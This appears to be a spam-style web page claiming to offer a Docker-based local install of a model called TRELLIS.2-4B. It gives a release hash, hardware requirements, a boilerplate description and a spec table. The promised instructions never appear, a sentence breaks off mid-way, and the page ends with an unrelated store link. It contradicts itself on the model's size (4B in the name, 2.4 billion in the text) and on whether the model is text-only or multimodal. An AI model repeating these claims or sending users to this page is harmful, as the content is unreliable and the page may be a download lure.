TRELLIS.2-4B on Copilot+ PC No Python Required

The fastest method for installing this model locally is by using Docker.

Please follow the instructions listed below to get started.

The setup auto-streams the model assets (expect a multi-GB download).

The installer will automatically analyze your hardware and select the optimal configuration for your system.

📤 Release Hash: 0e6c2571b23cbb88ebbe773dd0a3eb2d • 📅 Date: 2026-06-22



  • CPU: 8-core / 16-thread recommended for orchestration
  • RAM: high-speed DDR5 memory preferred for CPU offloading
  • Disk: high-speed SSD 120 GB to cache model layers
  • Graphics: TensorRT-LLM / vLLM inference engine compatible chip

The TRELLIS.2-4B model represents a significant advancement in open‑source language models, delivering state‑of‑the‑art performance while maintaining a manageable parameter count of 2.4 billion. Built on a transformer‑based architecture with enhanced attention mechanisms, it achieves superior comprehension of both textual and multimodal inputs. Trained on a diverse corpus spanning code, scientific literature, and conversational data, the model exhibits robust generalization across a wide range of downstream tasks. Its efficient design enables deployment on standard GPU clusters, making advanced AI capabilities accessible to developers and researchers worldwide. A dedicated

with key technical specifications is provided below for quick reference.

Specification Value
Parameter Count 2.4 B
Context Length 8 K tokens
Training Data Types Code, scientific, conversational
Primary Use Cases Text generation, summarization, Q&A, multimodal tasks

https://capia.store/category/excel/